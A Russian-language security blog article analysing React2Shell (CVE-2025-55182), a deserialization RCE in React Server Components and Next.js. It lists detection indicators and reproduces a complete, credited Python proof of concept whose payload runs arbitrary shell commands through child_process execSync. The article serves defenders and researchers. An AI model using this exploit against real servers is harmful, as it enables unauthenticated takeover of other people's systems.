
React2Shell, CVE-2025-55182, RCE Vulnerability: критический разбор уязвимости небезопасной десериализации в React Server Components, которая позволяет неаутентифицированное удаленное выполнение кода в стандартных конфигурациях React/Next.js.
React2Shell (CVE-2025-55182) — это критическая уязвимость удалённого выполнения кода (RCE), затрагивающая React Server Components (RSC) в React 19.x и фреймворках, таких как Next.js. Ошибка заключается в небезопасной десериализации фрагментов протокола «Flight», что позволяет злоумышленникам внедрять вредоносные структуры, которые разрешаются в конструктор Function, что приводит к произвольному выполнению JavaScript на сервере.
React Server Components были созданы для объединения рендеринга на клиенте и сервере с более плавным и композиционным рабочим процессом. Для этого React использует собственный бинарно-подобный канал сериализации, называемый протоколом Flight.
К сожалению, логика десериализации этого протокола содержала тонкую ошибку, которая позволяла злоумышленникам протаскивать вредоносные нагрузки глубоко в среду выполнения React.
Результат? Полная, не требующая аутентификации цепочка удалённого выполнения кода, получившая название React2Shell — и да, её влияние сопоставимо с Log4Shell по масштабу и доступности. 🔥
Эта статья разбирает уязвимость в чистом, пригодном для действий формате — идеально для практиков VAPT, исследователей и защитников.
RSC общается с клиентом, отправляя сериализованные «фрагменты» (chunks), которые представляют ссылки, объекты, метаданные компонентов, асинхронные границы и т.д.
Когда эти фрагменты прибывают на сервер или клиент, React десериализует их обратно в объекты и функции.
Этот процесс предполагает, что структура данных безопасна. Вот где всё сломалось.
Злоумышленники нашли способ создавать вредоносные фрагменты, содержащие:
thenables)Пример шаблона:
"$then": { "constructor": { "prototype": null } }
Во время десериализации React интерпретирует этот объект как thenable и вызывает:
promise.then(...)
Но здесь then на самом деле является конструктором Function, поэтому вызов превращается в:
(new Function("malicious_payload"))();
Это приводит к произвольному выполнению JavaScript в среде Node.js, работающей с React Server Components.
Бум — у вас RCE.
Вот почему облачные провайдеры, команды безопасности и CERT отреагировали мгновенно, как только это стало публичным.
/react/rsc/server, /flight, /server-actions$then$proto$constructor$typenode -e "<payload>"
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ Важное примечание
Я не являюсь автором этого PoC.
Он взят из следующего публичного репозитория, с полным указанием авторства:
Следующий Proof-of-Concept (PoC) предоставляется строго для образовательных и оборонительных целей кибербезопасности.
Он должен выполняться только в изолированных лабораторных средах или на системах, на которые у вас есть явное разрешение на тестирование.
Неправильное использование этого кода для несанкционированного доступа, эксплуатации или компрометации системы является незаконным, неэтичным и наказуемым по законам о кибербезопасности.
Действуйте ответственно. 🛡️💻
Ниже представлен полный PoC:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
Если вы запустили этот PoC, убедитесь, что вы сделали это в контролируемой песочнице, а не на каких-либо производственных или сторонних ресурсах.
Эта демонстрация существует исключительно для того, чтобы помочь аналитикам, разработчикам и защитникам понять, обнаружить и смягчить CVE-2025-55182 (React2Shell).
Любое вредоносное или несанкционированное использование этой информации строго запрещено и не одобряется автором.
Будьте этичны. Будьте в безопасности. 🐉🔥
React2Shell — это мощное напоминание о том, что слои сериализации, какими бы элегантными они ни были, остаются одними из самых опасных компонентов в современных фреймворках. Как только произвольные объекты попадают в среду выполнения без проверки, цепочка к RCE становится до боли короткой.
Спасибо за чтение — и, как всегда, продолжайте заниматься этичным хакингом, постоянно учитесь и поддерживайте огонь безопасности. 🔥🐉
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010